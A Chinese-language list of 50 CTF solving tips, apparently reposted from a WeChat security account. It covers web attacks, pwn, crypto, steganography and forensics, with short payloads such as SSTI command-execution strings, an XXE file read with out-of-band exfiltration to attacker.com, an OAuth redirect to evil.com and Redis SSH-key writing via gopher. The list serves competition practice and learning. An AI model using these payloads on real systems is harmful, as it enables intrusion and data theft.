CTF竞赛的核心逻辑
-
• 核心目标:快速拆解问题(Flag导向)、工具链协作、模式化思维。
-
• 关键原则:先广度后深度(优先收集信息)、分治策略(拆解复杂任务)。
第一部分:Web安全(15个思路)
-
1. SQL注入绕过WAF:
-
• 使用
/*!50000注释*/
混淆SQL语句(MySQL特性)。 -
• 利用
CONCAT(CHAR(115),CHAR(101))
代替明文字符串。 -
2. SSTI模板注入:
-
• Flask/Jinja2中通过
{{''.__class__.__mro__[1].__subclasses__()}}
获取危险类。 -
• Twig模板使用
{{_self.env.registerUndefinedFilterCallback("exec")}}
执行命令。 -
3. 文件包含漏洞利用:
-
• PHP伪协议
php://input
读取POST原始数据,写入Webshell。 -
• 利用
logrotate
日志文件包含(如/proc/self/environ
泄露路径)。 -
4. JWT伪造攻击:
-
• 修改Header中
alg
为none
(需删除签名字段)。 -
• 暴力破解弱密钥(工具:
hashcat -m 16500
)。 -
5. XXE漏洞利用:
-
• 通过
<!ENTITY xxe SYSTEM "file:///etc/passwd">
读取系统文件。 -
• 外带数据利用(OOB):
http://attacker.com/?data=%xxe;
。 -
6. CSRF绕过同源策略:
-
• 构造自动提交表单的恶意页面,利用
<img src="[URL]">
触发请求。 -
7. SSRF内网探测:
-
• 利用
gopher://
协议攻击Redis未授权访问,写入SSH密钥。 -
8. 反序列化漏洞:
-
• PHP中利用
__destruct()
或__wakeup()
魔术方法触发链。 -
• Java Commons-Collections利用
InvokerTransformer
执行命令。 -
9. Cookie伪造:
-
• Flask的Session签名伪造:通过已知密钥生成恶意Cookie(工具:
flask-unsign
)。 -
10. CORS配置错误:
-
• 修改请求头
Origin: target.com
欺骗服务器返回敏感数据。 -
11. HTTP请求走私:
-
• 利用
Transfer-Encoding: chunked
与Content-Length
冲突绕过网关。 -
12. 目录穿越读取文件:
-
• 使用
....//
或%2e%2e%2f
绕过路径过滤。 -
13. Web缓存投毒:
-
• 篡改
X-Forwarded-Host
头注入恶意内容到缓存页面。 -
14. OAuth登录劫持:
-
• 伪造回调URL窃取授权码(如
redirect_uri=http://evil.com
)。 -
15. 浏览器特性滥用:
-
• 利用
<link rel="prefetch" href="secret.php">
窃取登录态。
第二部分:逆向工程与PWN(12个思路)
-
16. 函数定位技巧:
-
• IDA中搜索字符串
"flag"
或"correct"
定位关键逻辑。 -
17. 栈溢出利用:
-
• 计算偏移量(
cyclic 200
生成字符串 +dmesg
查看崩溃地址)。 -
18. 格式化字符串漏洞:
-
• 利用
%n
向任意地址写入数据(如修改GOT表)。 -
19. 堆利用(UAF/Double Free):
-
• 释放后重用(UAF)修改虚表指针劫持控制流。
-
20. ROP链构造:
-
• 使用
ROPgadget --binary ./pwn
提取可用指令片段。 -
21. 反调试绕过:
-
• 修改
/proc/self/status
中的TracerPid
字段欺骗检查。 -
22. 动态Hook技术:
-
• 使用
LD_PRELOAD
劫持strcmp()
函数绕过密码校验。 -
23. Shellcode编写:
-
• 生成无空字符的Shellcode(
msfvenom -b 'x00'
)。 -
24. 整数溢出利用:
-
• 触发符号错误(如
size = -1
绕过长度检查)。 -
25. Angr符号执行:
-
• 自动化求解路径约束(示例:破解CTF中的“迷宫”题)。
-
26. Patch二进制文件:
-
• 使用
Binary Ninja
修改跳转条件(如jz → jnz
)。 -
27. 侧信道攻击:
-
• 通过时间差判断密码正确性(如逐字符爆破)。
第三部分:密码学与隐写术(13个思路)
-
28. Base家族识别:
-
• Base64(末尾
=
)、Base32(全大写字母)、Base58(无0/O/I/l)。 -
29. RSA低指数攻击:
-
• 当
e=3
且明文较短时,直接对密文开立方。 -
30. RSA共模攻击:
-
• 相同明文加密后,通过扩展欧几里得算法恢复明文。
-
31. 哈希长度扩展攻击:
-
• 利用SHA1/MD5的填充机制伪造合法签名(工具:
hash_extender
)。 -
32. 培根密码:
-
• 5位二进制模式(A=AAAAA, B=AAAAB...)。
-
33. 词频分析:
-
• 英文单表替换密码中统计高频字母(如E、T、A)。
-
34. LSB隐写提取:
-
• 使用
Stegsolve.jar
分析图片RGB最低位。 -
35. 音频隐写:
-
• Audacity查看频谱图,寻找摩尔斯电码或二进制波形。
-
36. ZIP伪加密破解:
-
• 修改ZIP文件头加密标记位(工具:
zipdetails
分析结构)。 -
37. PDF隐写:
-
• 使用
pdftotext
提取隐藏文本,或检查对象流(/FlateDecode
)。 -
38. NTFS数据流隐藏:
-
• 使用
dir /R
查看ADS(Alternate Data Stream)。 -
39. PNG文件修复:
-
• 手动修复文件头(
89 50 4E 47 0D 0A 1A 0A
)和CRC校验。 -
40. 二维码数据提取:
-
• 使用
zbarimg
扫描模糊或残缺二维码。
第四部分:MISC与编程(10个思路)
-
41. 编码转换自动化:
-
• Python脚本批量处理Hex/Base85/URL编码。
-
42. 流量分析(Wireshark):
-
• 过滤HTTP流:
http.request.method == "POST"
。 -
43. 内存取证(Volatility):
-
• 提取进程列表:
volatility -f dump.raw pslist
。 -
44. 社会工程学信息收集:
-
• 通过WHOIS查询域名注册人邮箱。
-
45. 正则表达式暴力提取:
-
• 使用
grep -oE 'flag{[a-zA-Z0-9_]+}'
快速匹配Flag格式。 -
46. 时间盲注自动化:
-
• 编写Python脚本结合
requests
与延时判断逐字符爆破。 -
47. Git泄露利用:
-
• 访问
/.git/HEAD
确认存在,使用git-dumper
恢复源码。 -
48. DNS隧道检测:
-
• 分析长域名请求(如
abcd1234.evil.com
携带Base64数据)。 -
49. Excel宏代码提取:
-
• 解压XLSM文件,检查
vbaProject.bin
中的恶意宏。 -
50. PDF混淆绕过:
-
• 使用
qpdf --stream-data=uncompress
解压对象流。
原文始发于微信公众号(HACK之道):CTF选手必藏的50个实战解题思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论